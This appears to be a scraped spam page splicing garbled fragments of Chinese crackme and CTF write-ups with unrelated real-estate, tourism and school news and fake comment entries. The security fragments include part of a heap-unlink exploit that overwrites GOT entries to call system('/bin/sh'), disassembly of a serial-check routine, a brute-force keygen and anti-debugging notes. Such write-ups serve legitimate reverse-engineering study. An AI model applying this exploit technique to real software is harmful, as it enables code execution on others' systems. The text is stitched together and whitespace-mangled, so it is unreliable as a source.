ayload=p32(0x20)+p32(0x20)+p32(FIRST_TRUNK_SIZE*2)+p32(SECOND_TRUNK_SIZE)+p32(0)size_payload=size_payload+=p32(FIRST_TRUNK_SIZE*2)#index=0changesizesize_payload+=p32(SECOND_TRUNK_SIZE)#index=1keepsize_payload+=p32(0)size_payload+=p32(0)size_payload+=p32(0)create(20,2,size_payload)#raw_input(editnote0)#editindex=0payload1=payload1+=p64(0)#prevsize=trunkused=0payload1+=p64(0x81)#value=thistrunksize+prevtrunkflag=0x80+1payload1+=p64(fd)#free_got_pltpayload1+=p64(bk)payload1+=A*(FIRST_TRUNK_SIZE-8*4)payload1+=p64(len(payload1))#size=len(payload1)overflowertoindex=1payload1+=p64(SECOND_TRUNK_SIZE+0x10)#value=thistrunksize+prevtrunkflag=0x80+0x10+0edit(0,payload1)raw_input(unlink)#unlinktheng_dest_list[0]=g_dest_list-0x18free(1)#editindex=0address=0x6020c8edit_paylaod=edit_paylaod+=p64(0)edit_paylaod+=p64(0)edit_paylaod+=p64(0)edit_paylaod+=p64(free_got_plt)#g_dest_list[0]forchangefree_got_plttoputs_plttoleakedit_paylaod+=p64(1)#g_dwFlag[0]edit_paylaod+=p64(puts_got_plt)#g_dest_list[1]puts_got_pltForleakputs_got_pltaddressedit_paylaod+=p64(1)#g_dwFlag[1]edit_paylaod+=p64(atoi_got_plt)#g_dest_list[2]atoi_got_pltForchageatoitosystemedit_paylaod+=p64(1)#g_dwFlag[2]#edit(0,p64(0)+p64(0)+p64(0)+p64(free_got_plt)+p64(1)+p64(0x602058)+p64(1)+p64(0x602058))edit(0,edit_paylaod)#raw_input(changefree_got_plttoputs_plt)edit(0,p64(puts_plt))#leakputs_got_plt#raw_input(leakputs_got_pltaddr)xx=free(1)str_puts_addreess=xx[0:6]printstr_puts_addreessstr_puts_addreess=str_puts_addreess+\x00\x00raw_input(calcsystemaddress)ifg_local:system_address=u64(str_puts_addreess)-0x6f690+0x45390else:system_address=u64(str_puts_addreess)-0x6cee0+0x41fd0printsystem_address,hex(system_address)#chageatoiraw_input(chageputs_got_plttosystem_address)edit(2,p64(system_address))#runsystem(/bin/sh)(/bin/sh)#()test_unlink()raw_input()上传的附件:者:(编程解码)(动态调试)骤:代码,定位主要流程。更多咨询或爆料可加牛浩思个人微信(sz_newhouse),若能提供重大独家信息,如完整户型、样板首发、开盘现场销控等,经确认,将会得到老牛100元私人红包奖。Hi_2HexTo1Bin_Xor0x86_sub_402E20Hi_AFX_MODULE_THREAD_STATE_ctor_sub_4066D2Hi_AFX_THREAD_STATE_ctor_sub_405F63Hi_AfxGetStringManagerHi_CStr_Mid_sPos_chSize_sub_404160Hi_CStr_dotr_sub_402C70Hi_CStr_getLen_sub_4029D0Hi_DecExpand_sub_403650Hi_IDDlg_2_hWnd_sub_417026Hi_InP2DlgID_OutP3text_sub_416F7AHi_P1_EQ_EcxLeftNStr_sub_404210Hi_P2CStr_spliteAt5_to_ecx2CStrA1A2_retA2_sub_402D30Hi_RaiseException_sub_405F15Hi_afxstr_ecx_eq_p1_sub_404830Hi_bastr_ecx_eq_P1lpsz_P2len_sub_401EE0Hi_bastr_trim_sub_412460Hi_bstrReserve_sub_416A1DHi_checkKey1_or_expandKey_sub_403230Hi_check_key1_sub_403510Hi_chset_index_sub_4043C0Hi_ecxCStr_eq_P1CStr_sub_4048C0Hi_extract_key1_sub_4032C0Hi_free_sub_4AEF5FHi_getCStrPtr_sub_404280Hi_getEditText_sub_403B60Hi_getNilString_sub_4050C2Hi_getThis_sub_402080Hi_get_AFX_THREAD_STATE_sub_416D28Hi_keyMsgMap_sub_4151F8Hi_malloc_sub_404B6BHi_malloc_sub_404F1FHi_memset_ecx_0_cbSizeP1_sub_402620Hi_realloc_sub_4051982月1日下午,记者在现场看到,这条道路位于远洋城天骄小区与御峰臻品之间,靠近天骄一侧由远洋地产负责,已经修好且投入使用。当天,中山的气温不足10度。其实就是对输入分别与下面这一串异或,返回结果。实行分享学区的学校,先行录取。、更多咨询或爆料可加牛浩思个人微信(sz_newhouse),若能提供重大独家信息,如完整户型、样板首发、开盘现场销控等,经确认,将会得到老牛100元私人红包奖。同时,坪山区今年将启动义务教育质量提升三年行动计划,推动市属名校办学项目落地,培育引进一批名校长和名师,新增义务教育公办学位2700个;新办五所新型公办幼儿园,增加学前教育学位1200个;实现北京中医药大学坪山国医堂、健宁医院开业,加快南方医科大学深圳(坪山)口腔医院、平乐骨伤科医院、区妇儿医院、疾控中心建设,推动区人民医院整治提升,新增病床1000个以上。开发商成交金额TOP10根据深圳房地产信息网的监测,地铁集团1月共销售365679万元,取得了1月份全市开发商成交金额冠军;华侨城地产以224993万元位居亚军;龙光地产以192432万元位居季军。,倒数第三个参数pCreateProcessContext的定义请参照此系列的这篇文章。句柄表在EPROCESS结构体中,有一个句柄表成员:我们知道,句柄是为了操作内核对象的“序号”,它的好处在于统一了接口,使得进程(准确来说是线程)能够用统一的方式操作不同的对象资源。,者:(编程解码)(动态调试)骤:代码,定位主要流程。、www.vns619999.com、这题比较简单,OD载入,代码窗口很容易找到:0040112B|.66:81BC242C010000EAcmpwordptrss:[],3EA事例111(WM_COMMAND)|.0F855B010000jne004012960040113B|.884C2420movss:[],cl0040113F|.B93F000000movecx,3F00401144|.33C0xoreax,eax00401146|.8D7C2421leaedi,[+1]0040114A|.F3:ABrepstosdwordptres:[edi]0040114C|.8BB42424010000movesi,ss:[]00401153|.8B1DA0504000movebx,ds:[&]00401159|.66:ABstoswordptres:[edi]0040115B|.8D442420leaeax,[]0040115F|.BF01000000movedi,100401164|.50pusheax/lParam=|.68FF000000push0FF|wParam=|.6A0Dpush0D|Msg=WM_GETTEXT0040116C|.68E9030000push3E9|/ItemID=|.56pushesi||hDialog=[]00401172|.FFD3callebx|\|.8B2DA4504000movebp,ds:[&]|0040117A|.50pusheax|hWnd0040117B|.FFD5callebp\|.33C9xorecx,ecx0040117F|.85C0testeax,eax00401181|.7617jbeshort0040119A00401183|8A540C20/movdl,ss:[ecx+esp+20]00401187|.80FA30|cmpdl,30//注册码全是数字0040118A|.7C0C|jlshort004011980040118C|.80FA39|cmpdl,390040118F|.7F07|jgshort0040119800401191|.41|incecx00401192|.3BC8|cmpecx,eax00401194|.^72ED\jbshort0040118300401196|.EB02jmpshort0040119A00401198|33FFxoredi,edi0040119A|83F806cmpeax,6//长度必须是60040119D|.7556jneshort004011F50040119F|.85FFtestedi,edi004011A1|.7452jzshort004011F5004011A3|.8D4C2420leaecx,[]004011A7|.50pusheax/Arg2004011A8|.51pushecx|Arg1=|.E852FEFFFFcall00401000\,//调用解码函数,对00406030的代码解码004011AE|.83C408addesp,8004011B1|.E80AFFFFFFcall004010C0//调用函数对解码后的内容进行和校验,正确返回1004011B6|.85C0testeax,eax004011B8|.742Cjzshort004011E6004011BA|.6A00push0//校验正确,调用解码后的函数提示成功004011BC|.68E9030000push3E9004011C1|.56pushesi004011C2|.FFD3callebx004011C4|.8B3DA8504000movedi,ds:[&]004011CA|.50pusheax|hWnd004011CB|.FFD7calledi\|.6A00push0004011CF|.68EA030000push3EA004011D4|.56pushesi004011D5|.FFD3callebx004011D7|.50pusheax004011D8|.FFD7calledi004011DA|.55pushebp004011DB|.56pushesi004011DC|.BA30604000movedx,offset00406030入口点004011E1|.FFD2calledx004011E3|.83C408addesp,8004011E6|8D442420leaeax,[]004011EA|.6A06push6/Arg2=6004011EC|.50pusheax|Arg1004011ED|.E80EFEFFFFcall00401000\,//再次调用解码函数恢复原来的数据004011F2|.83C408addesp,8004011F5|5Fpopedi默认情况下|.5Epopesi004011F7|.5Dpopebp004011F8|.33C0xoreax,eax004011FA|.5Bpopebx004011FB|.81C410010000addesp,11000401201|.C21000retn1000401000/$81EC08010000subesp,108//解码函数00401006|.53pushebx00401007|.55pushebp00401008|.56pushesi00401009|.57pushedi0040100A|.33D2xoredx,edx0040100C|.B93F000000movecx,3F00401011|.33C0xoreax,eax00401013|.8D7C2419leaedi,[+1]00401017|.88542418movss:[],dl0040101B|.F3:ABrepstosdwordptres:[edi]0040101D|.66:ABstoswordptres:[edi]0040101F|.AAstosbyteptres:[edi]00401020|.8D7C2418leaedi,[]00401024|.33C0xoreax,eax00401026|88440418/movss:[eax+esp+18],al0040102A|.40|inceax0040102B|.3D00010000|cmpeax,10000401030|.^7CF4\jlshort0040102600401032|.8BAC2420010000movebp,ss:[]00401039|.33C0xoreax,eax0040103B|.C744241000010000movdwordptrss:[],10000401043|8BB4241C010000/movesi,ss:[]0040104A|.8A0F|movcl,ds:[edi]0040104C|.8A1C30|movbl,ds:[esi+eax]0040104F|.02D9|addbl,cl00401051|.02D3|adddl,bl00401053|.40|inceax00401054|.88542414|movss:[],dl00401058|.8B742414|movesi,ss:[]0040105C|.81E6FF000000|andesi,000000FF00401062|.3BC5|cmpeax,ebp00401064|.8A5C3418|movbl,ss:[esi+esp+18]00401068|.8D743418|leaesi,[esi+esp+18]0040106C|.881F|movds:[edi],bl0040106E|.880E|movds:[esi],cl00401070|.7502|jneshort0040107400401072|.33C0|xoreax,eax00401074|8B4C2410|movecx,ss:[]00401078|.47|incedi00401079|.49|dececx0040107A|.894C2410|movss:[],ecx0040107E|.^75C3\jnzshort0040104300401080|.33C0xoreax,eax00401082|.8D8C2417010000leaecx,[+3]00401089|8A540418/movdl,ss:[eax+esp+18]0040108D|.8A19|movbl,ds:[ecx]0040108F|.02D3|adddl,bl00401091|.8A9830604000|movbl,ds:[eax+406030]00401097|.32DA|xorbl,dl00401099|.889830604000|movds:[eax+406030],bl0040109F|.40|inceax004010A0|.49|dececx004010A1|.3D80000000|cmpeax,80004010A6|.^7CE1\jlshort00401089004010A8|.5Fpopedi004010A9|.5Epopesi004010AA|.5Dpopebp004010AB|.5Bpopebx004010AC|.81C408010000addesp,108004010B2\.C3retn004010C0/$56pushesi//求和校验004010C1|.57pushedi004010C2|.33FFxoredi,edi004010C4|.33F6xoresi,esi004010C6|.33C9xorecx,ecx004010C8|33C0/xoreax,eax004010CA|.8A8130604000|moval,ds:[ecx+406030]004010D0|.99|cdq004010D1|.03F8|addedi,eax004010D3|.13F2|adcesi,edx004010D5|.41|incecx004010D6|.81F980000000|cmpecx,80004010DC|.^7CEA\jlshort004010C8004010DE|.81FF79290000cmpedi,2979//求和必须为0x2979004010E4|.750Cjneshort004010F2004010E6|.85F6testesi,esi004010E8|.7508jnzshort004010F2004010EA|.5Fpopedi004010EB|.B801000000moveax,1004010F0|.5Epopesi004010F1|.C3retn004010F2|5Fpopedi004010F3|.33C0xoreax,eax004010F5|.5Epopesi004010F6\.C3retn根据对上面的解码函数和校验函数分析,写出下面的代码暴力破解,从000000到999999扫描:boolkeyGen(){BYTEbuf1[0x80]={0xF4,0x12,0x9D,0x60,0x45,0xF8,0x20,0x6A,0x6F,0x67,0x04,0x71,0xC0,0x9B,0x0C,0x5A,0x1D,0x18,0x6C,0x96,0x69,0x01,0x1C,0xF4,0x7F,0x28,0x5A,0xFB,0x29,0x07,0x40,0x8B,0xD3,0xE1,0xB1,0x12,0xFB,0xCA,0x7C,0x89,0xB9,0x5A,0x30,0x70,0x9D,0x95,0x2B,0x95,0x3C,0x8D,0x2E,0x45,0xEF,0x70,0xC6,0xA3,0xB9,0xB2,0x5A,0x63,0x5F,0x03,0x33,0xB8,0x64,0x4A,0x8F,0xBC,0xF7,0x91,0x69,0x6A,0x56,0x2E,0xD4,0x6E,0x82,0x93,0xE9,0x76,0xDC,0xA3,0x6C,0x5E,0x6B,0x72,0x64,0x37,0xE7,0x15,0x17,0xAC,0x64,0x78,0xD5,0x4A,0x60,0x2D,0xF0,0x54,0xA6,0xF3,0xE8,0xE0,0xE0,0xB9,0x8F,0x85,0x90,0xE4,0xEA,0xD6,0xBB,0xB7,0x15,0x9E,0x2A,0x44,0xE7,0x31,0x63,0xAC,0x80,0x6C,0x34,0x82,0xE9,0xCF};DWORDmagic=0x2979;DWORDsum;BYTEbuf2[0x100];intidx;charsSN[7];intsn;for(sn=0sn1000000sn++){sprintf(sSN,"%06d",sn);for(idx=0idx0x100idx++){buf2[idx]=idx;}BYTEc=0;for(idx=0idx0x100idx++){BYTEc2=buf2[idx];c+=(BYTE)sSN[idx%6]+c2;buf2[idx]=buf2[c];buf2[c]=c2;}sum=0;for(idx=0idx0x80idx++){c=(buf2[idx]+buf2[0xff-idx])^buf1[idx];sum+=c;if(summagic){//大于就退出,不再浪费时间break;}}if(sum==magic){//等于,找到OutputDebugString(sSN);break;}}if(sn=1000000){OutputDebugString("未找到!");returnfalse;}returntrue;}很快能计算出结果:771535。 缘起当我们需要在OD中调试异常处理中的代码时,就需要用到看雪前辈所编写的HideOD插件了,它其实就是为系统的打了一个补丁。另外,在海外方面,用户最愿意搜索的海外城市中泰国占据了前三,分别为曼谷、普吉岛、清迈,其次为日本大阪、法国巴黎、韩国首尔、新加坡。。“沙漠是南方人向往的地方,这次我拍的一组沙漠婚纱照效果非常好。为确保马拉松赛事安全顺利举行,依据《中华人民共和国道路交通安全法》第三十九条之规定,决定于当日采取以下交通管制措施:一、上午6:00起对以下道路实行道路清障及全封闭交通管制:1、新华路市人民文化广场至新华路与东环路路口;2、东环路全段;3、东环路与北环路路口至北环路与省道212线路口。。”金昌市婚庆服务业协会会长、情森婚庆公司经理于兴卫,对金昌市婚庆旅游业的发展前景充满信心,“金昌婚庆服务业协会将联合会员单位,积极迎合市场需求,拓展业务空间,除了依托当地资源开发培育薰衣草婚礼、玫瑰谷婚礼、沙漠婚礼、草原婚礼、田园婚礼等特色婚庆品牌外,还将尝试开展业内跨地域合作,联手打造诸如丹霞婚礼、胡杨林婚礼、黄河石林婚礼等极具特色的婚礼品牌。 城市有凝聚力、吸引力,自然会吸引人来。紫金花开客盈门,金昌旅游旺季即将到来!6月14日,市旅游局与省内龙头旅行社签定了旅游包机和旅游专列协议。借助大力发展婚庆旅游业的春风,全市婚纱影楼、婚庆服务机构也得到快速发展,由两年前的60多家增加到目前的80多家。。遇到有车迎面过来时,需要提早停车避让,否则难以通过。2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。分割边界是前五个字符为key1,剩下的为key2即key=key1+:00403EEEmoveax,[ebp+var_118_thisPtr].text:00403EF4addeax.....text:00403F17pushesi;void*.text:00403F18leaecx,[ebp+var_18_2Cstr].text:00403F1BcallHi_P2CStr_spliteAt5_to_ecx2CStrA1A2_retA2_sub_402D30在重入函数Hi_checkKey1_or_expandKey_sub_403230中,第一此调用该函数体时会触发对key1的校验分支。者:(编程解码)(动态调试)骤:代码,定位主要流程。解题过程1.查看程序1.题目提示要在xp下运行,看了看资源,发现有驱动,将文件提取出来,用PEID的算法插件KANAL扫描驱动,发现有MD5算法:2.用OD加载程序CrakeME,下断点CreateFileA,一次断在释放驱动的时候,另一次断在加载驱动的时候:00401DE8|.53PUSHEBX/hTemplateFile=NULL00401DE9|.6880000000PUSH0x80|Attributes=NORMAL00401DEE|.6A03PUSH0x3|Mode=OPEN_EXISTING00401DF0|.53PUSHEBX|pSecurity=NULL00401DF1|.53PUSHEBX|ShareMode=000401DF2|.68000000C0PUSH0xC0000000|Access=GENERIC_READ|GENERIC_WRITE00401DF7|.|FileName=\\.\vmxdrv00401DFC|.FF1588324200CALLNEARDWORDPTRDS:[\CreateFileA在CreateFileA的下一条指令下断点,运行程序,程序直接出错退出。sm3_42DA78(v14,3u,(int)v11);这个函数根据下边函数里的初始值很容易搜到是国密算法sm3int__cdeclsub_436700(_DWORD*a1){intresult;//eax*a1=0;a1[1]=0;a1[2]=0x7380166F;a1[3]=0x4914B2B9;a1[4]=0x172442D7;a1[5]=0xDA8A0600;a1[6]=0xA96F30BC;a1[7]=0x163138AA;a1[8]=0xE38DEE4D;a1[9]=0xB0FB0E4E;if(sub_42DA7D()==1)sub_42E086();sub_42D389();if(sub_42D807()==1)sub_42E086();result=sub_42D39D();if(result==1)sub_42E086();returnresult;}主要是计算解码后的字符串的sm3值。所以,我们的任务是,通过修改ZwQueryInformationProcess的返回值,使得每次跳转条件都实现即可。一句话:有颜,任性~。其实就是对输入分别与下面这一串异或,返回结果。,解题过程1.查看程序1.题目提示要在xp下运行,看了看资源,发现有驱动,将文件提取出来,用PEID的算法插件KANAL扫描驱动,发现有MD5算法:2.用OD加载程序CrakeME,下断点CreateFileA,一次断在释放驱动的时候,另一次断在加载驱动的时候:00401DE8|.53PUSHEBX/hTemplateFile=NULL00401DE9|.6880000000PUSH0x80|Attributes=NORMAL00401DEE|.6A03PUSH0x3|Mode=OPEN_EXISTING00401DF0|.53PUSHEBX|pSecurity=NULL00401DF1|.53PUSHEBX|ShareMode=000401DF2|.68000000C0PUSH0xC0000000|Access=GENERIC_READ|GENERIC_WRITE00401DF7|.|FileName=\\.\vmxdrv00401DFC|.FF1588324200CALLNEARDWORDPTRDS:[\CreateFileA在CreateFileA的下一条指令下断点,运行程序,程序直接出错退出。,句柄表在EPROCESS结构体中,有一个句柄表成员:我们知道,句柄是为了操作内核对象的“序号”,它的好处在于统一了接口,使得进程(准确来说是线程)能够用统一的方式操作不同的对象资源。。Hi_2HexTo1Bin_Xor0x86_sub_402E20Hi_AFX_MODULE_THREAD_STATE_ctor_sub_4066D2Hi_AFX_THREAD_STATE_ctor_sub_405F63Hi_AfxGetStringManagerHi_CStr_Mid_sPos_chSize_sub_404160Hi_CStr_dotr_sub_402C70Hi_CStr_getLen_sub_4029D0Hi_DecExpand_sub_403650Hi_IDDlg_2_hWnd_sub_417026Hi_InP2DlgID_OutP3text_sub_416F7AHi_P1_EQ_EcxLeftNStr_sub_404210Hi_P2CStr_spliteAt5_to_ecx2CStrA1A2_retA2_sub_402D30Hi_RaiseException_sub_405F15Hi_afxstr_ecx_eq_p1_sub_404830Hi_bastr_ecx_eq_P1lpsz_P2len_sub_401EE0Hi_bastr_trim_sub_412460Hi_bstrReserve_sub_416A1DHi_checkKey1_or_expandKey_sub_403230Hi_check_key1_sub_403510Hi_chset_index_sub_4043C0Hi_ecxCStr_eq_P1CStr_sub_4048C0Hi_extract_key1_sub_4032C0Hi_free_sub_4AEF5FHi_getCStrPtr_sub_404280Hi_getEditText_sub_403B60Hi_getNilString_sub_4050C2Hi_getThis_sub_402080Hi_get_AFX_THREAD_STATE_sub_416D28Hi_keyMsgMap_sub_4151F8Hi_malloc_sub_404B6BHi_malloc_sub_404F1FHi_memset_ecx_0_cbSizeP1_sub_402620Hi_realloc_sub_405198  对于年轻小两口来说,还可免去日后二胎或需与家里老人居住带来的房间不够用等问题。,秉承着技术与干货的原则,看雪学院于2017年11月成功举办了第一届安全开发者峰会,议题涵盖了安全编程、软件安全测试、智能设备安全、物联网安全、漏洞挖掘、移动安全、WEB安全、密码学、逆向技术、加密与解密、系统安全等,吸引了业内顶尖的开发者和技术专家,旨在推动软件开发安全的深入交流与分享,为安全人员、软件开发者、广大互联网人士及行业相关人士提供最具价值的交流平台。关于买房,以及了解独家房产资讯及数据,直播先锋建议您加入咚咚找房的“速购服务”;说出您的需求,剩下的找房、价值分析、价格配比……都有专业人员帮您搞定,让您的买房路更顺一些。其中,毛卜喇村绣城山庄是集民俗文化和娱乐休闲于一体、规模较大的农家庄园,是现代城市生活追求与传统农家乐的完美结合,它符合人们休闲娱乐、追求自然、崇尚生态的生活理念。。

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田午2018-8-18

马玉娜上传的附件:

    大族集团心系教育事业,慷慨捐赠创客空间    深圳外国语学校国际部成立于2011年9月,位于风景秀丽的深圳湾畔,是由深圳市政府投资兴建、面向在深外籍和港澳台人士子女的第一所国际学校,由饮誉省内外的深圳市教育局直属重点学校深圳外国语学校自主创办。建立健全广告审查制度,配备广告审查员,未经广告审查员审查的广告不予发布。。程序内存管理用的mmap先分配好了空间,之后就是自己分配这些空间,而程序中可以输入的地方只有signup和cheat。0x00认清假验证,找到真入口刚拿到题直接IDA走起,发现逻辑很清晰,获取输入,然后计算两个方程,都过了就成功。,对于符合计划生育的家庭而言,春节假期间需要把计生证明准备好了。。

吴金尚2018-2-18 14:30:10

在视频当中,我们能够深深地感受到中泰集团温暖的企业氛围,中泰人对企业、领导发自肺腑的感恩之情让人无比动容。,。。记者在现场所见,该路段为斜坡,加上路面狭窄,只能容一辆汽车和摩托车并排通过。。

齐鹏刚2018-2-18 14:30:10

1.壳的部分了解的不深,主要是过反调试。,其中,人均GDP更是以超5万美元的成绩超过了排名第13位的荷兰,距离排名第11位的新加坡近在咫尺。。Hi_2HexTo1Bin_Xor0x86_sub_402E20Hi_AFX_MODULE_THREAD_STATE_ctor_sub_4066D2Hi_AFX_THREAD_STATE_ctor_sub_405F63Hi_AfxGetStringManagerHi_CStr_Mid_sPos_chSize_sub_404160Hi_CStr_dotr_sub_402C70Hi_CStr_getLen_sub_4029D0Hi_DecExpand_sub_403650Hi_IDDlg_2_hWnd_sub_417026Hi_InP2DlgID_OutP3text_sub_416F7AHi_P1_EQ_EcxLeftNStr_sub_404210Hi_P2CStr_spliteAt5_to_ecx2CStrA1A2_retA2_sub_402D30Hi_RaiseException_sub_405F15Hi_afxstr_ecx_eq_p1_sub_404830Hi_bastr_ecx_eq_P1lpsz_P2len_sub_401EE0Hi_bastr_trim_sub_412460Hi_bstrReserve_sub_416A1DHi_checkKey1_or_expandKey_sub_403230Hi_check_key1_sub_403510Hi_chset_index_sub_4043C0Hi_ecxCStr_eq_P1CStr_sub_4048C0Hi_extract_key1_sub_4032C0Hi_free_sub_4AEF5FHi_getCStrPtr_sub_404280Hi_getEditText_sub_403B60Hi_getNilString_sub_4050C2Hi_getThis_sub_402080Hi_get_AFX_THREAD_STATE_sub_416D28Hi_keyMsgMap_sub_4151F8Hi_malloc_sub_404B6BHi_malloc_sub_404F1FHi_memset_ecx_0_cbSizeP1_sub_402620Hi_realloc_sub_405198。

罗绍邦2018-2-18 14:30:10

  盛典之上,中泰集团以短短一段视频,诉尽中泰人这一年来经历的酸甜苦辣:https:///x/page/(中泰人:我们的故事)苦  苦,很苦。,这题比较简单,OD载入,代码窗口很容易找到:0040112B|.66:81BC242C010000EAcmpwordptrss:[],3EA事例111(WM_COMMAND)|.0F855B010000jne004012960040113B|.884C2420movss:[],cl0040113F|.B93F000000movecx,3F00401144|.33C0xoreax,eax00401146|.8D7C2421leaedi,[+1]0040114A|.F3:ABrepstosdwordptres:[edi]0040114C|.8BB42424010000movesi,ss:[]00401153|.8B1DA0504000movebx,ds:[&]00401159|.66:ABstoswordptres:[edi]0040115B|.8D442420leaeax,[]0040115F|.BF01000000movedi,100401164|.50pusheax/lParam=|.68FF000000push0FF|wParam=|.6A0Dpush0D|Msg=WM_GETTEXT0040116C|.68E9030000push3E9|/ItemID=|.56pushesi||hDialog=[]00401172|.FFD3callebx|\|.8B2DA4504000movebp,ds:[&]|0040117A|.50pusheax|hWnd0040117B|.FFD5callebp\|.33C9xorecx,ecx0040117F|.85C0testeax,eax00401181|.7617jbeshort0040119A00401183|8A540C20/movdl,ss:[ecx+esp+20]00401187|.80FA30|cmpdl,30//注册码全是数字0040118A|.7C0C|jlshort004011980040118C|.80FA39|cmpdl,390040118F|.7F07|jgshort0040119800401191|.41|incecx00401192|.3BC8|cmpecx,eax00401194|.^72ED\jbshort0040118300401196|.EB02jmpshort0040119A00401198|33FFxoredi,edi0040119A|83F806cmpeax,6//长度必须是60040119D|.7556jneshort004011F50040119F|.85FFtestedi,edi004011A1|.7452jzshort004011F5004011A3|.8D4C2420leaecx,[]004011A7|.50pusheax/Arg2004011A8|.51pushecx|Arg1=|.E852FEFFFFcall00401000\,//调用解码函数,对00406030的代码解码004011AE|.83C408addesp,8004011B1|.E80AFFFFFFcall004010C0//调用函数对解码后的内容进行和校验,正确返回1004011B6|.85C0testeax,eax004011B8|.742Cjzshort004011E6004011BA|.6A00push0//校验正确,调用解码后的函数提示成功004011BC|.68E9030000push3E9004011C1|.56pushesi004011C2|.FFD3callebx004011C4|.8B3DA8504000movedi,ds:[&]004011CA|.50pusheax|hWnd004011CB|.FFD7calledi\|.6A00push0004011CF|.68EA030000push3EA004011D4|.56pushesi004011D5|.FFD3callebx004011D7|.50pusheax004011D8|.FFD7calledi004011DA|.55pushebp004011DB|.56pushesi004011DC|.BA30604000movedx,offset00406030入口点004011E1|.FFD2calledx004011E3|.83C408addesp,8004011E6|8D442420leaeax,[]004011EA|.6A06push6/Arg2=6004011EC|.50pusheax|Arg1004011ED|.E80EFEFFFFcall00401000\,//再次调用解码函数恢复原来的数据004011F2|.83C408addesp,8004011F5|5Fpopedi默认情况下|.5Epopesi004011F7|.5Dpopebp004011F8|.33C0xoreax,eax004011FA|.5Bpopebx004011FB|.81C410010000addesp,11000401201|.C21000retn1000401000/$81EC08010000subesp,108//解码函数00401006|.53pushebx00401007|.55pushebp00401008|.56pushesi00401009|.57pushedi0040100A|.33D2xoredx,edx0040100C|.B93F000000movecx,3F00401011|.33C0xoreax,eax00401013|.8D7C2419leaedi,[+1]00401017|.88542418movss:[],dl0040101B|.F3:ABrepstosdwordptres:[edi]0040101D|.66:ABstoswordptres:[edi]0040101F|.AAstosbyteptres:[edi]00401020|.8D7C2418leaedi,[]00401024|.33C0xoreax,eax00401026|88440418/movss:[eax+esp+18],al0040102A|.40|inceax0040102B|.3D00010000|cmpeax,10000401030|.^7CF4\jlshort0040102600401032|.8BAC2420010000movebp,ss:[]00401039|.33C0xoreax,eax0040103B|.C744241000010000movdwordptrss:[],10000401043|8BB4241C010000/movesi,ss:[]0040104A|.8A0F|movcl,ds:[edi]0040104C|.8A1C30|movbl,ds:[esi+eax]0040104F|.02D9|addbl,cl00401051|.02D3|adddl,bl00401053|.40|inceax00401054|.88542414|movss:[],dl00401058|.8B742414|movesi,ss:[]0040105C|.81E6FF000000|andesi,000000FF00401062|.3BC5|cmpeax,ebp00401064|.8A5C3418|movbl,ss:[esi+esp+18]00401068|.8D743418|leaesi,[esi+esp+18]0040106C|.881F|movds:[edi],bl0040106E|.880E|movds:[esi],cl00401070|.7502|jneshort0040107400401072|.33C0|xoreax,eax00401074|8B4C2410|movecx,ss:[]00401078|.47|incedi00401079|.49|dececx0040107A|.894C2410|movss:[],ecx0040107E|.^75C3\jnzshort0040104300401080|.33C0xoreax,eax00401082|.8D8C2417010000leaecx,[+3]00401089|8A540418/movdl,ss:[eax+esp+18]0040108D|.8A19|movbl,ds:[ecx]0040108F|.02D3|adddl,bl00401091|.8A9830604000|movbl,ds:[eax+406030]00401097|.32DA|xorbl,dl00401099|.889830604000|movds:[eax+406030],bl0040109F|.40|inceax004010A0|.49|dececx004010A1|.3D80000000|cmpeax,80004010A6|.^7CE1\jlshort00401089004010A8|.5Fpopedi004010A9|.5Epopesi004010AA|.5Dpopebp004010AB|.5Bpopebx004010AC|.81C408010000addesp,108004010B2\.C3retn004010C0/$56pushesi//求和校验004010C1|.57pushedi004010C2|.33FFxoredi,edi004010C4|.33F6xoresi,esi004010C6|.33C9xorecx,ecx004010C8|33C0/xoreax,eax004010CA|.8A8130604000|moval,ds:[ecx+406030]004010D0|.99|cdq004010D1|.03F8|addedi,eax004010D3|.13F2|adcesi,edx004010D5|.41|incecx004010D6|.81F980000000|cmpecx,80004010DC|.^7CEA\jlshort004010C8004010DE|.81FF79290000cmpedi,2979//求和必须为0x2979004010E4|.750Cjneshort004010F2004010E6|.85F6testesi,esi004010E8|.7508jnzshort004010F2004010EA|.5Fpopedi004010EB|.B801000000moveax,1004010F0|.5Epopesi004010F1|.C3retn004010F2|5Fpopedi004010F3|.33C0xoreax,eax004010F5|.5Epopesi004010F6\.C3retn根据对上面的解码函数和校验函数分析,写出下面的代码暴力破解,从000000到999999扫描:boolkeyGen(){BYTEbuf1[0x80]={0xF4,0x12,0x9D,0x60,0x45,0xF8,0x20,0x6A,0x6F,0x67,0x04,0x71,0xC0,0x9B,0x0C,0x5A,0x1D,0x18,0x6C,0x96,0x69,0x01,0x1C,0xF4,0x7F,0x28,0x5A,0xFB,0x29,0x07,0x40,0x8B,0xD3,0xE1,0xB1,0x12,0xFB,0xCA,0x7C,0x89,0xB9,0x5A,0x30,0x70,0x9D,0x95,0x2B,0x95,0x3C,0x8D,0x2E,0x45,0xEF,0x70,0xC6,0xA3,0xB9,0xB2,0x5A,0x63,0x5F,0x03,0x33,0xB8,0x64,0x4A,0x8F,0xBC,0xF7,0x91,0x69,0x6A,0x56,0x2E,0xD4,0x6E,0x82,0x93,0xE9,0x76,0xDC,0xA3,0x6C,0x5E,0x6B,0x72,0x64,0x37,0xE7,0x15,0x17,0xAC,0x64,0x78,0xD5,0x4A,0x60,0x2D,0xF0,0x54,0xA6,0xF3,0xE8,0xE0,0xE0,0xB9,0x8F,0x85,0x90,0xE4,0xEA,0xD6,0xBB,0xB7,0x15,0x9E,0x2A,0x44,0xE7,0x31,0x63,0xAC,0x80,0x6C,0x34,0x82,0xE9,0xCF};DWORDmagic=0x2979;DWORDsum;BYTEbuf2[0x100];intidx;charsSN[7];intsn;for(sn=0sn1000000sn++){sprintf(sSN,"%06d",sn);for(idx=0idx0x100idx++){buf2[idx]=idx;}BYTEc=0;for(idx=0idx0x100idx++){BYTEc2=buf2[idx];c+=(BYTE)sSN[idx%6]+c2;buf2[idx]=buf2[c];buf2[c]=c2;}sum=0;for(idx=0idx0x80idx++){c=(buf2[idx]+buf2[0xff-idx])^buf1[idx];sum+=c;if(summagic){//大于就退出,不再浪费时间break;}}if(sum==magic){//等于,找到OutputDebugString(sSN);break;}}if(sn=1000000){OutputDebugString("未找到!");returnfalse;}returntrue;}很快能计算出结果:771535。次卧尺寸在此面积段中略显不足,其中1个卧室采光面偏窄,且无阳光直射。。

付晶晶2018-2-18 14:30:10

